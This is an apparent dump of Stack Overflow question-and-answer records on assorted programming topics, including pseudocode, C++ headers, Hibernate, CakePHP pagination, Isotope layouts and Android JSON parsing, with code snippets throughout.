but what about <code>.scss</code> files? The <code>src/app/public</code> seems reasonable as well, but what the right directory to allow the development and production versions to work correctly? </p> <p>What should file references look like in HTML and SCSS files? Are they all relative paths based on source layout in SCSS files (e.g.<code>@import '../scss/layout';</code>) and absolute paths in HTML files (e.g., <code>&lt;link href="/assets/css/main.css" rel="stylesheet"&gt;</code>)?</p>
19876693	0	 <p><em>(This was originally a comment)</em></p> <p>You seem to miss what the point of pseudo code is. Pseudo code is neither standardized nor somewhat defined. In general it is just a <em>code-like</em> representation of an algorithm, while maintaining a high level and readability. You can write pseudo code in whatever form you like. Even real Python code could be considered pseudo code. That being said, there are no thing disallowed in pseudo code; you can even write prose to explain something that happens. For example in the inner-most loop, you could just write <em>“swap value1 and value2”</em>.</p> <p>This is approximately how I would transform your Python code into pseudo-code. I tend to leave out all language specific stuff and focus just on the actual algorithmic parts.</p> <pre class="lang-none prettyprint-override"><code>Input: list: Array of input numbers FOR j = 0 to length(list): FOR i = 0 to length(list)-1: if list[i] &gt; list[i+1]: Swap list[i] and list[i+1] OUTPUT ordered list </code></pre> <hr> <blockquote> <p>So is it okay to use lists, tuples, dictionaries in a pseudocode, even if they are not common to all programming languages?</p> </blockquote> <p>Absolutely! In more complex algorithms you will even find things like <em>“Get minimum spanning tree for XY”</em> which would be a whole different problem for which again multiple different solutions exist. Instead of specifying a specific solution you are keeping it open to the actual implementation which algorithm is to be used for that. It usually does not matter for the algorithm you are currently describing. Maybe later when you analyze your algorithm, you might mention things like <em>“There are algorithms known for this who can do this in O(log n)”</em> or something, so you just use that to continue.</p>
25122613	0	 <p>You need to include the appropriate header for <a href="http://en.cppreference.com/w/cpp/algorithm/transform" rel="nofollow"><code>std::transform</code></a>:</p> <pre><code>#include &lt;algorithm&gt; </code></pre> <p>You should also avoid <code>using namespace std;</code> in the global namespace in headers, you pollute the global namespace of any code that includes your header file.</p> <p>See <a href="http://stackoverflow.com/questions/1452721/why-is-using-namespace-std-considered-bad-practice?rq=1">this post about <code>using namespace std</code></a>.</p>
38456604	0	How to update Android in-app billing to the latest version? <p>I am using in-app billing 3 in my apps. I want to update to in-app billing 5. How do I do that? I have searched without finding any info. Is the only thing I should do to update the IInAppBillingService.aidl file? No other files need to be updated?</p>
2444704	0	 <p>The construct you are looking for is called <code>column_property</code>. You could use a secondary mapper to actually replace the amount column. Are you sure you are not making things too difficult for yourself by not just storing the negative values in the database directly or giving the "corrected" column a different name?</p> <pre><code>from sqlalchemy.orm import mapper, column_property wrongmapper = sqlalchemy.orm.mapper(Transaction, Transaction.__table, non_primary = True, properties = {'amount': column_property(case([(Transaction.transfer_account_id==1, -1*Transaction.amount)], else_=Transaction.amount)}) Session.query(wrongmapper).filter(...) </code></pre>
8767871	0	 <p>You need to download the source packet of QT and compile it. It takes some time but is not really complicated. </p> <ul> <li>Download and unzip QT source</li> <li>Start a compiler shell (Visual Studio or mingw)</li> <li>Execute configure in the QT source directory - add a flag for static compile here</li> <li>execute make (Visual Studio nmake)</li> <li>Wait some hours depending on the speed of your machine</li> </ul>
18036788	0	 <p>First of all per K&amp;R, the answer is yes.</p> <p>At the conceptual level an array name is a ptr, they are absolutely the same thing, CONCEPTUALLY.</p> <p>How a compiler implements an array is up to the compiler. This is the argument between those who say they are not the same thing and those who say they are.</p> <p>A compiler could implement <code>int a[5]</code> as the pointer <code>a</code> to an unnamed chunk of storage that can contain 5 integers. But they don't. It is easier for a compiler writer to generate code for a simple array and then fudge on the pointer-ness of <code>a</code>.</p> <p>Anyway, conceptually, the data area allocated by the <code>int a[5];</code> statement can be referenced by the ptr <code>a</code> or it can be referenced by the pointer produced by the <code>&amp;a[0]</code> statement.</p>
24629115	0	How do you hide an expanded tableviews label when it is expanded? - IOS <p>I would like to hide an expanded tableviews label, when the cell is expanded and hide a button when it is collapsed. I have my cell implementation in another class, with the property of the label and the button in the header. The problem is that when I call these cell methods in the ExpandedViewController, the code goes into the method, but it won't change the properties behaviour. Could you possibly help me with this issue?</p> <p>Thank you </p> <p>ExpandedCell.h</p> <pre><code>@property (nonatomic, retain) IBOutlet UILabel *lblTitle; @property (strong, nonatomic) IBOutlet UIButton *setTime; </code></pre> <p>ExpandedCell.m</p> <pre><code>(void)setIfHidden:(BOOL)showIfHidden { if (showIfHidden) { [self.lblTitle setHidden:YES]; [self.setTime setHidden:NO]; } else { [self.lblTitle setHidden:NO]; [self.setTime setHidden:YES]; } } </code></pre> <p>ExpandedViewController.m</p> <pre><code>import ExpandedCell.h </code></pre> <p>.</p> <pre><code>(CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath { if ([indexPath isEqual:self.expandedIndexPath]) { return CELL_HEIGHT_EXPANDED; } else { return CELL_HEIGHT_COLLAPSED; } } (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { self.expandedIndexPath = ([self.expandedIndexPath isEqual:indexPath]) ? nil : indexPath; ExpandedCell *hideCell = [[ExpandedCell alloc] init]; showIfHidden = YES; [hideCell setIfHidden:showIfHidden]; [tableView beginUpdates]; [tableView endUpdates]; [tableView deselectRowAtIndexPath:indexPath animated:YES]; } </code></pre>
15224268	0	 <p>Is this:</p> <pre><code>&lt;configuration&gt; &lt;encoding&gt;UTF-8&lt;/encoding&gt; </code></pre> <p>definitely the correct character encoding for your script?</p>
10796671	0	 <p>if anybody else (like me) wants to try to get some jdbc information and you are using hibernate 4.x, you might try it that way:</p> <pre class="lang-java prettyprint-override"><code>import java.sql.Connection; import java.sql.SQLException; import org.hibernate.jdbc.Work; public class ConnectionInfo implements Work { public String dataBaseUrl; public String dataBaseProductName; public String driverName; @Override public void execute(Connection connection) throws SQLException { dataBaseUrl = connection.getMetaData().getURL(); dataBaseProductName = connection.getMetaData().getDatabaseProductName(); driverName = connection.getMetaData().getDriverName(); } public String getDataBaseProductName() { return dataBaseProductName; } public void setDataBaseProductName(String dataBaseProductName) { this.dataBaseProductName = dataBaseProductName; } public String getDataBaseUrl() { return dataBaseUrl; } public void setDataBaseUrl(String dataBaseUrl) { this.dataBaseUrl = dataBaseUrl; } public String getDriverName() { return driverName; } public void setDriverName(String driverName) { this.driverName = driverName; } } </code></pre> <p><strong>Now you can retrieve your information like that:</strong></p> <pre class="lang-java prettyprint-override"><code>// -- snip org.hibernate.ejb.EntityManagerImpl entityManagerImpl = (org.hibernate.ejb.EntityManagerImpl) genericDBAccess.getEntityManager().getDelegate(); Session session = entityManagerImpl.getSession(); connectionInfo = new ConnectionInfo(); session.doWork(connectionInfo); // -- snap </code></pre> <p>Hope that helps! I drove crazy finding this information....</p>
1493516	0	 <p>I would use mocks, something like EasyMock, where you could mock the IOrderLogger, and then do something like this:</p> <pre><code>IOrderLogger log = EasyMock.createMock(IOrderLogger.class); log.Action(EasyMock.isA(LogAction.class)); EasyMock.expectLastCall(); </code></pre> <p>This assumes that Action() returns void. This is a very Java-esque way of doing this. I'm not sure how far along the <a href="http://sourceforge.net/projects/easymocknet/" rel="nofollow noreferrer">EasyMock.net</a> has come.</p>
17407409	0	 <p>This is the feature that lets you to auto-merge different Auth Providers into the same account in ServiceStack.</p>
997954	0	 <p>I'm not sure why you would want to use a hill-climbing algorithm, since Djikstra's algorithm is polynomial complexity O( | E | + | V | log | V | ) using Fibonacci queues: <a href="http://en.wikipedia.org/wiki/Dijkstra" rel="nofollow noreferrer">http://en.wikipedia.org/wiki/Dijkstra</a>'s_algorithm</p> <p>If you're looking for an heuristic approach to the single-path problem, then you can use A*: <a href="http://en.wikipedia.org/wiki/A" rel="nofollow noreferrer">http://en.wikipedia.org/wiki/A</a>*_search_algorithm</p> <p>but an improvement in efficiency is dependent on having an admissible heuristic estimate of the distance to the goal. <a href="http://en.wikipedia.org/wiki/A" rel="nofollow noreferrer">http://en.wikipedia.org/wiki/A</a>*_search_algorithm</p>
40839019	0	 <p>You can use <strong>svg</strong> in <strong>img</strong> tag and append via jquery like below snippet I hope helps and It is working fine for <strong>print</strong> on <strong>Chrome</strong> and <strong>FF</strong> browser. </p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$(document).ready(function(){ var squareBox = 3000; //You can increase and descrease of square boxes for (var i = 1; i &lt;= squareBox; i++) { $('#test').append('&lt;img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMCIgaGVpZ2h0PSIxMCI+CjxyZWN0IHdpZHRoPSIxMCIgaGVpZ2h0PSIxMCIgZmlsbD0iI2ZmZiI+PC9yZWN0Pgo8cmVjdCB3aWR0aD0iNSIgaGVpZ2h0PSI1IiBmaWxsPSIjY2NjIj48L3JlY3Q+Cjwvc3ZnPg=="&gt;'); } })</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>#test{ height: 500px; width: 500px; overflow: hidden; } #test img{ width: 10px; height: 10px; display: block; float: left; margin-top: 0px; } @media print and (color){ *{ -webkit-print-color-adjust: exact; print-color-adjust: exact; } button{display: none;} }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"&gt;&lt;/script&gt; &lt;button type="button" onclick="window.print();"&gt;Print&lt;/button&gt; &lt;div id="test"&gt;&lt;/div&gt;</code></pre> </div> </div> </p>
20732858	0	JFrame simple moving oval moving game positioning fails? <p>I have a game start I've made, basically a oval, and I can move it anywhere with the keyboard key arrows.</p> <p>I dont want to allow it to exit the frame, so I check if X is less than 0, return if higher than width return, same for y.</p> <p>But it doesn't work for &lt; width and > height, I can go to the right and bottom until it exits the frame, why?</p> <p>This is the code, (I didnt use myHeight, myWidth I manually put the sizes, the sizes are 765, 500).</p> <pre><code>public void movePlayer(int x, int y) { System.out.println(myPlayer.getX()); if (x == 0) { if (y + myPlayer.getY() &gt; 500 || y + myPlayer.getY() &lt; 0) { return; } this.myPlayer.moveY(y); } else if (y == 0) { if (x + myPlayer.getX() &gt; 765 || x + myPlayer.getX() &lt; 0) { return; } this.myPlayer.moveX(x); } } </code></pre> <p>Why is this happening?</p>
38647215	0	 <pre><code>MyModel._meta.get_all_field_names() </code></pre> <p><a href="https://docs.djangoproject.com/en/1.9/ref/models/meta/" rel="nofollow">Django doc</a>.</p>
861109	0	 <p>Questionably useful Python hacks are my forte.</p> <pre><code>from types import * class Foo(object): def __init__(self): self.bar = methodize(bar, self) self.baz = 999 @classmethod def bar(cls, baz): return 2 * baz def methodize(func, instance): return MethodType(func, instance, instance.__class__) def bar(self): return 4*self.baz &gt;&gt;&gt; Foo.bar(5) 10 &gt;&gt;&gt; a=Foo() &gt;&gt;&gt; a.bar() 3996 </code></pre>
14920406	0	 <p>Heres a couple of better syntax options:</p> <pre><code>&lt;?php if(isset($_SESSION['guest2First'])){ $name = $_SESSION["guest2First"]. (isset($_SESSION["guest2Middle"])?' '.$_SESSION["guest2Middle"]:null). (isset($_SESSION["guest2Last"])?' '.$_SESSION["guest2Last"]:null); ?&gt; &lt;tr&gt; &lt;td&gt;&lt;input type="text" name="guest2Ticket" id="guest2Ticket" onblur="isTicketNumber(this);" size ="22"/&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $name;?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;?php }?&gt; </code></pre> <p>Or</p> <pre><code>&lt;?php if(isset($_SESSION['guest2First'])){ echo '&lt;tr&gt;', '&lt;td&gt;&lt;input type="text" name="guest2Ticket" id="guest2Ticket" onblur="isTicketNumber(this);" size ="22"/&gt;&lt;/td&gt;', '&lt;td&gt;'.$name.'&lt;/td&gt;', '&lt;/tr&gt;'; } ?&gt; </code></pre>
37130244	0	HtmlAgilityPack - How to get the tag by Id? <p>I have a task to do. I need to retrieve the a <code>tag</code> or <code>href</code> of a specific <code>id</code> (the <code>id</code> is based from the user input). Example I have a <code>html</code> like this </p> <pre><code>&lt;manifest&gt; &lt;item href="Text/Cover.xhtml" id="Cov" media-type="application/xhtml+xml" /&gt; &lt;item href="Text/Back.xhtml" id="Back" media-type="application/xhtml+xml" /&gt; &lt;/manifest&gt; </code></pre> <p>I already have this code. Please, help me. Thank you</p> <pre><code>HtmlAgilityPack.HtmlDocument document2 = new HtmlAgilityPack.HtmlDocument(); document2.Load(@"C:\try.html"); HtmlNode[] nodes = document2.DocumentNode.SelectNodes("//manifest").ToArray(); foreach (HtmlNode item in nodes) { Console.WriteLine(item.InnerHtml); } </code></pre>
38865180	0	 <p>Excel evaluates both parts of an <code>OR</code> expression independent if the first part is true. So <code>A1&lt;0</code> and therefore the <code>OR</code> function result in an error if <code>A1</code> contains an error.</p> <p>You can try something like that:</p> <pre><code>IF(ISERROR(A1),"Y",IF(A1&lt;0,"Y","N")) </code></pre>
38953330	0	TeeChart for Xamarin.Forms with Windows 8 (WinRT) apps <p>We have a Xamarin.Forms app that also supports Windows 8/8.1 as a platform. Xamarin.Forms has support for WinRT and that's how it can be deployed to Windows 8/8.1.</p> <p>We are using TeeCharts for Xamarin.Forms however, it doesn't seem to support WinRT as a platform. Is there a way to use TeeCharts for Xamarin.Forms with Windows 8/8.1?</p>
6520463	0	 <p>You only need virtual functions if you've set up an inheritance chain, and you want to override the default implementation of a function defined in the base class in a derived class.</p> <p>The classic example is something as follows:</p> <pre><code>public class Animal { public virtual void Speak() { Console.WriteLine("..."); } } public class Dog : Animal { public override void Speak() { Console.WriteLine("Bow-wow"); } } public class Human : Animal { public override void Speak() { Console.WriteLine("Hello, how are you?"); } } </code></pre> <p>Both the <code>Dog</code> and <code>Human</code> classes inherit from the base <code>Animal</code> class, because they're both types of animals. But they both speak in very different ways, so they need to override the <code>Speak</code> function to provide their own unique implementation.</p> <p>In certain circumstances, it can be beneficial to use the same pattern when designing your own classes because this enables <a href="http://en.wikipedia.org/wiki/Polymorphism_%28computer_science%29" rel="nofollow">polymorphism</a>, which is essentially where different classes share a common interface and can be handled similarly by your code.</p> <p>But I'll echo what others have suggested in the comments: learning object-oriented programming properly is not something you're going to be able to do by asking a few Stack Overflow questions. It's a complicated topic, and one well-worth investing your time as a developer learning. I highly advise picking up a book on object-oriented programming (and in particular, one written for the C# language) and going through the examples. OOP is a very powerful tool when used correctly, but can definitely become a hindrance when designed poorly!</p>
11430967	0	Strange Javascript Feature: (5,2) == 2 <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/6927685/the-purpose-of-the-comma-operator-in-javascript-x-x1-x2-xn">The purpose of the comma operator in javascript (x, x1, x2, …, xn) </a> </p> </blockquote> <p>In Javascript <code>(5, 2)</code> gives <code>2</code>, <code>('a', 'b', 'c')</code> gives <code>'c'</code> etc. (just try it out in the console).</p> <p>My questions concerning that:</p> <ul> <li>Is there a reason for that "feature"?</li> <li>In which cases may it be useful?</li> </ul>
34460204	0	 <pre><code>import re sample = open ('text_numbers.txt') total =0 dignum = 0 for line in sample: line = line.rstrip() dig= re.findall('[0-9]+', line) if len(dig) &gt;0: dignum += len(dig) linetotal= sum(map(int, dig)) total += linetotal print 'The number of digits are: ' print dignum print 'The sum is: ' print total print 'The sum ends with: ' print total % 1000 </code></pre>
17019288	0	 <p>well for standard HTML such as <code>head</code>,<code>footer</code>,<code>sidebars</code> or whatever .. there is <a href="http://embeddedjs.com/examples/partials.html" rel="nofollow">Partials</a> the example explains everything ..</p>
7291047	0	Parsing Google Shopping Json Search Results <p>After a few weeks of trying numerous examples found here and it seems throughout the web, I'm stumped. I can retrieve the desired search results from Google Shopping just fine:</p> <pre><code>{ "items": [ { "product": { "title": "The Doctor's BrushPicks Toothpicks 250 Pack", "brand": "The Doctor's" } } ] } </code></pre> <p>My problem is that I have the data sitting in a string, how do I extract the two values (title,brand) in order to use them elsewhere in the program?</p> <p>Here is the class in question: public class HttpExample extends Activity {</p> <pre><code>TextView httpStuff; DefaultHttpClient client; JSONObject json; final static String URL = "https://www.googleapis.com/shopping/search..."; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.httpex); httpStuff = (TextView) findViewById(R.id.tvHttp); client = new DefaultHttpClient(); new Read().execute("items"); } public JSONObject products(String upc) throws ClientProtocolException, IOException, JSONException { StringBuilder url = new StringBuilder(URL); url.append(upc); HttpGet get = new HttpGet(url.toString()); HttpResponse r = client.execute(get); int status = r.getStatusLine().getStatusCode(); if (status == 200) { HttpEntity e = r.getEntity(); String data = EntityUtils.toString(e); JSONObject timeline = new JSONObject(data); return timeline; } else { Toast.makeText(HttpExample.this, "error", Toast.LENGTH_SHORT); return null; } } public class Read extends AsyncTask&lt;String, Integer, String&gt; { @Override protected String doInBackground(String... params) { // TODO Auto-generated method stub try { String upc = ExportMenuActivity.upc; json = products(upc); return json.getString(params[0]); } catch (ClientProtocolException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (JSONException e) { // TODO Auto-generated catch block e.printStackTrace(); } return null; } @Override protected void onPostExecute(String result){ httpStuff.setText(result); } } </code></pre> <p>}</p> <p>The output of httpStuff.setText(result):</p> <pre><code>[{"product":{"brand":"The Doctor's, "title":"The Doctor's..."}}] </code></pre>
12801638	0	How to name a column while creating a data frame using a name stored in a variable? <p>Trying to create a data.frame like this:</p> <pre><code>a = "foo" bar = data.frame(a = 1:3) </code></pre> <p>But the name of the column is <code>a</code>, not <code>foo</code>:</p> <pre><code>&gt; bar a 1 1 2 2 3 3 </code></pre> <p>The column can be renamed after creating data.frame, but how to easily assign it's name by a variable just in the same data.frame command?</p>
6257465	0	 <p>If your column is an <code>xml</code> typed column, you can use the <code>delete</code> method on the column to remove the <code>events</code> nodes. See <a href="http://msdn.microsoft.com/en-us/library/ms190254%28v=SQL.90%29.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/ms190254(v=SQL.90).aspx</a> for more info.</p>
38445290	0	Copy exact error message from XCODE <p>I wonder How could I copy the exact error message on XCODE.</p> <p><img src="https://i.imgur.com/1A9JliR.png=300x" alt="inline" title="Title"></p> <p><img src="https://i.imgur.com/Zcnt4xC.png=300x" alt="inline" title="Title"></p> <p><img src="https://i.imgur.com/xWsSkQm.png=300x" alt="inline" title="Title"></p> <p>Tried to click Copy from the menu on the debug window, it will give you useless debug error message. You could not use it to google the answer.</p> <p>How could I copy the exact error message.</p> <p>Or Xcode is absent from this basic feature as a powerful IDE?</p> <pre><code>file:///Users/xxx/Dropbox/xxcourses%20%E7%BE%8E%E5%9C%8B%E8%AA%B2%E7%A8%8B/iOS/hw2/hw2/MainVC.swift:68:50:%20Invalid%20conversion%20from%20throwing%20function%20of%20type%20'(_,%20_,%20_)%20throws%20-%3E%20()'%20to%20non-throwing%20function%20type%20'(NSData%3F,%20NSURLResponse%3F,%20NSError%3F)%20-%3E%20Void' </code></pre>
21940386	0	isotope masonry responsive layout not arranging <p>As you can see, the images are behaving rather weird, they do not arrange themselves until the browser width gets rather small. What am i doing wrong ? I notice as the window gets smaller, the items have overlapping dimnesions.</p> <p>HTML</p> <pre><code> &lt;div class="masonry container"&gt; &lt;div class="col-sizer"&gt;&lt;/div&gt; &lt;div class="item width2"&gt; &lt;img class="img-responsive" src="../images/sc/masonry-1.png" alt="a"&gt; &lt;/div&gt; &lt;div class="item"&gt; &lt;img class="img-responsive" src="../images/sc/masonry-2.png" alt="a"&gt; &lt;/div&gt; &lt;div class="item height2"&gt; &lt;img class="img-responsive" src="../images/sc/masonry-3.png" alt="a"&gt; &lt;/div&gt; &lt;div class="item"&gt; &lt;img class="img-responsive" src="../images/sc/masonry-4.png" alt="a"&gt; &lt;/div&gt; &lt;div class="item"&gt; &lt;img class="img-responsive" src="../images/sc/masonry-5.png" alt="a"&gt; &lt;/div&gt; &lt;div class="item"&gt; &lt;img class="img-responsive" src="../images/sc/masonry-6.png" alt="a"&gt; &lt;/div&gt; &lt;div class="item"&gt; &lt;img class="img-responsive" src="../images/sc/masonry-7.png" alt="a"&gt; &lt;/div&gt; &lt;div class="item"&gt; &lt;img class="img-responsive" src="../images/sc/masonry-8.png" alt="a"&gt; &lt;/div&gt; &lt;div class="item width2"&gt; &lt;img class="img-responsive" src="../images/sc/masonry-9.png" alt="a"&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>CSS</p> <pre><code>.masonry .item { float: left; max-width: 25%; max-height: 244px; } .masonry .item img { width: 100%; } .col-sizer { max-width: 25%; } .masonry .item.width2 { max-width: 50%; } .masonry .item.height2 { max-height: 488px; } </code></pre> <p>JQUERY (on document ready)</p> <pre><code>$(".masonry").isotope({ itemSelector: '.item', masonry:{ columnWidth: $(".masonry").find('.col-sizer')[0] } }) $(".masonry").isotope('layout') </code></pre>
38052792	0	 <p>It depends on your CPU architecture how the communication happens, but it is usually via a special place in RAM, flash or the filesystem. No data structures are transferred, they would be meaningless to the kernel and the memory space will be different between the two. Uboot generally passes boot parameters like what type of hardware is present, what memory to use for something, or which type of mode to use for a specific driver. So yes, the kernel will re-initialize the hardware. The exception may be some of the low level CPU specifics which the kernel may expect uboot or a BIOS to have setup already.</p>
5765020	0	 <p>Mocha is a traditional mocking library very much in the JMock mould. Stubba is a separate part of Mocha that allows mocking and stubbing of methods on real (non-mock) classes. It works by moving the method of interest to one side, adding a new stubbed version of the method which delegates to a traditional mock object. You can use this mock object to set up stubbed return values or set up expectations of methods to be called. After the test completes the stubbed version of the method is removed and replaced by the original.</p> <p>for more detail with example </p> <p><a href="http://jamesmead.org/blog/2006-09-11-the-difference-between-mocks-and-stubs" rel="nofollow">http://jamesmead.org/blog/2006-09-11-the-difference-between-mocks-and-stubs</a></p>
12465639	0	show progress bar when pushing using git <p>I'm trying to push a large file to a <code>git</code> repository using <code>git push -u origin master</code> but it is failing on the half way. It would be of great help if I can see when it fails. Is there a way to show something like a progress bar in <code>git push</code>?</p> <p><strong>Edit:</strong> Doing some brute force I was able to push the file at last on my 7th or 8th trial but I'm still curious about the question.</p>
40320668	0	 <p>It's not possible to run a web server while your app is in the background (except for the first few minutes at most). See the "GCDWebServer &amp; Background Mode for iOS Apps" section in the GCDWebServer <code>README</code> file for the detailed information:</p> <blockquote> <p>Typically you must stop any network servers while the app is in the background and restart them when the app comes back to the foreground.</p> </blockquote>
14770375	0	CakePHP : paginate not working on search results <p>I have a method, that performs a search and sends the results to its view. The search results are available only on the first page of the pagination results. The subsequent paginated pages do not have data and have warnings/errors about invalid index/variables:</p> <p><strong>Controller</strong></p> <pre><code>public function show_list () { $i_state_id = $this-&gt;data['Contact']['state_id']; $str_city = $this-&gt;data['Contact']['city']; $this-&gt;Contact-&gt;recursive = -1; $this-&gt;paginate = array ( 'conditions' =&gt; array ('Contact.state_id' =&gt; $i_state_id, 'Contact.city'=&gt; $str_city), 'fields' =&gt; array('Contact.id', 'Contact.name', 'Contact.mobile1', 'Contact.city'), 'order' =&gt; array ('Contact.id' =&gt; 'desc'), 'limit' =&gt; 2, 'recursive' =&gt; -1 ); $contacts = $this-&gt;paginate('Contact'); $this-&gt;set ('contacts', $contacts); $this-&gt;set('state_id', $i_state_id); $this-&gt;set('city', $str_city); } </code></pre> <p><strong>View (show_list.ctp)</strong></p> <pre><code>&lt;div class="contacts index"&gt; &lt;h2&gt;&lt;?php echo __('Select the list of contacts, that you wish to move.'); ?&gt;&lt;/h2&gt; &lt;?php echo $this-&gt;Form-&gt;create('Contact',array('action'=&gt;'add_contacts_to_user'));?&gt; &lt;table cellpadding="0" cellspacing="0"&gt; &lt;tr&gt; &lt;th&gt;&lt;?php echo $this-&gt;Paginator-&gt;sort('id'); ?&gt;&lt;/th&gt; &lt;th&gt;&lt;?php echo $this-&gt;Form-&gt;checkbox('all', array('label'=&gt;"Select All", "onclick" =&gt;"toggleChecked(this.checked)" )); ?&gt;&lt;/th&gt; &lt;th&gt;&lt;?php echo $this-&gt;Paginator-&gt;sort('name'); ?&gt;&lt;/th&gt; &lt;th&gt;&lt;?php echo $this-&gt;Paginator-&gt;sort('Contact Info'); ?&gt;&lt;/th&gt; &lt;th&gt;&lt;?php echo $this-&gt;Paginator-&gt;sort('city'); ?&gt;&lt;/th&gt; &lt;/tr&gt; &lt;?php foreach ($contacts as $contact): ?&gt; &lt;tr&gt; &lt;td&gt;&lt;?php echo h($contact['Contact']['id']); ?&gt;&amp;nbsp;&lt;/td&gt; &lt;td&gt;&lt;?php echo $this-&gt;Form-&gt;checkbox('Contact.id.'.$contact['Contact']['id'], array('class' =&gt; 'checkbox', 'value'=&gt; $contact['Contact']['id'],'hiddenField' =&gt; false)); ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo h($contact['Contact']['name']); ?&gt;&amp;nbsp;&lt;/td&gt; &lt;td&gt;&lt;?php echo h($contact['Contact']['mobile1']); ?&gt;&amp;nbsp;&lt;/td&gt; &lt;td&gt;&lt;?php echo h($contact['Contact']['city']); ?&gt;&amp;nbsp;&lt;/td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;?php endforeach; ?&gt; &lt;/table&gt; &lt;?php echo $this-&gt;Form-&gt;end("Move to Address Book"); ?&gt; &lt;p&gt; &lt;?php echo $this-&gt;Paginator-&gt;counter(array( 'format' =&gt; __('Page {:page} of {:pages}, showing {:current} records out of {:count} total, starting on record {:start}, ending on {:end}') )); ?&gt; &lt;/p&gt; &lt;div class="paging"&gt; &lt;?php echo $this-&gt;Paginator-&gt;prev('&lt; ' . __('previous'), array(), null, array('class' =&gt; 'prev disabled')); echo $this-&gt;Paginator-&gt;numbers(array('separator' =&gt; '')); echo $this-&gt;Paginator-&gt;next(__('next') . ' &gt;', array(), null, array('class' =&gt; 'next disabled')); ?&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>How do I get the second and subsequent pages to show the results of the search pages?</p>
22303615	0	android - loading json in expandable list view with scroll <p>i have an application that download's and save the Json database to Storage .</p> <p>i should to view the Json objects in Expandable List View and i have a lot of theme so i must have a scroller too !</p> <p>i want to know how to parse the Json and load it in array , then use the array for making the Expandable List View ?</p> <pre><code>try { URL url = new URL(gURL); HttpURLConnection c = (HttpURLConnection) url.openConnection(); c.setRequestMethod("GET"); c.setDoOutput(true); c.connect(); String PATH = Environment.getExternalStorageDirectory() + "/H3S/DB"; File file = new File(PATH); String fileName = fName; File outputFile = new File(file, fileName); FileOutputStream fos = new FileOutputStream(outputFile); InputStream is = c.getInputStream(); byte[] buffer = new byte[1024]; int len1 = 0; while ((len1 = is.read(buffer)) != -1) { fos.write(buffer, 0, len1); } fos.close(); is.close(); </code></pre> <p>and this is sample json response : (sorry the json language is persian and the titles won't be shown because of they are not UTF-8) :</p> <pre><code>{ "DBVersion":"4" , "Groups":[ { "Id" : 1, "title" : "Ú©Ø§Ù…Ù¾ÛŒÙˆØªØ±", "bg" : "1.png" }, { "Id" : 2, "title" : "Ø´ÛŒÙ…ÛŒ", "bg" : "2.png" }, { "Id" : 3, "title" : "Ø¨Ø±Ù‚ Ùˆ Ø§Ù„Ú©ØªØ±ÙˆÙ†ÛŒÚ©", "bg" : "3.png" }, { "Id" : 4, "title" : "ÙÛŒØ²ÛŒÚ©", "bg" : "4.png" }, { "Id" : 5, "title" : "Ø±ÛŒØ§Ø¶ÛŒ", "bg" : "5.png" }, { "Id" : 6, "title" : "Ù…Ú©Ø§Ù†ÛŒÚ© Ùˆ Ù‡ÙˆØ§ÙØ¶Ø§", "bg" : "6.png" }, { "Id" : 7, "title" : "Ø²ÛŒØ³Øª", "bg" : "7.png" } ] } </code></pre> <p>im an iOS Developer and i successfully do this in iOS with Grouped Style UITableView but i don't know how can i do this simply in android !</p>
9390915	0	How to sort tab delimited out? <p>In linux(Ubuntu), one shell utility will output the following data</p> <pre><code>23827492 name_1 3984989229 name 2 8238937 another name </code></pre> <p>so there are 2 fields, number and name. What I need is to sort this output by the numbers in asc or desc in linux shell. What is the easiest way without engaging python/perl?</p>
18656040	0	How to prevent compiler from optimizing a load to variable that is never used <p>Intro: Im trying to quick hack fix old code and use __try MSVC extension to check if some ptr points to some legit memory or if *ptr will cause memory violation(if so I drop processing of this ptr). So I wrote something like:</p> <pre><code>bool checkIsPtrPointingToValidAddress(const void *ptr) { __try { auto cpy = *((int*)ptr); // force mem access... if ( (cpy ==42) &amp;&amp; ((rand()+rand()+rand()+rand()+ rand()) == 1)) { FILE* pFile = fopen ("tempdata.dat","w"); //... by unlikely but possible action fputs (" ",pFile); fclose (pFile); } return true; } __except(1) { return false; } } </code></pre> <p>Thing is that my solution to force mem access seems weird, ugly, and as a bonus I'm not sure it is correct. Also please not I can't disable optimizations on the entire project, so that is not an option. And documentation for pragma optimize on MSDN sucks, aka it is not clear if "" disables all optimizations on the function. </p>
33707795	0	 <p>First, classes, enums, and structs are terminated with ';' following the closing bracket (or scope). i.e.</p> <pre><code>struct St { .... };//&lt;--- end of scope terminator </code></pre> <p>Next, what exactly are you trying to do following this bit? I'm guessing you're trying to define cases of it for use, but you're going about it entirely wrong. You need to have a member in the struct to set a value to, this can be an instance of the struct itself. Like this...</p> <pre><code>struct St { St element; }; </code></pre> <p>Then you can set a value to the structs member, but in this particular instance you're probably gonna want some more data members for this sturct to be of any use...</p> <pre><code>struct St { char value; St element; St(char value, St element) // struct constructor : this-&gt;value(value), this-&gt;element(element){} // init list }; </code></pre> <p>Now you can use the struct in the rest of your code simply by calling it by its identifier, which in this case would be 'St'. </p> <p>Although, for what you're trying to achieve (I could be wrong) would be better suited for an enumerated value, which is (basically) a way of defining your own primitive, switchable, variable type. An example of where an enum would be useful would be something like...</p> <pre><code>const int MON = 0, TUE = 1, ....// rather than using "const int's" // define them as enumerations enum Day {MON,TUE,WED,THU,FRI,SAT,SUN}; 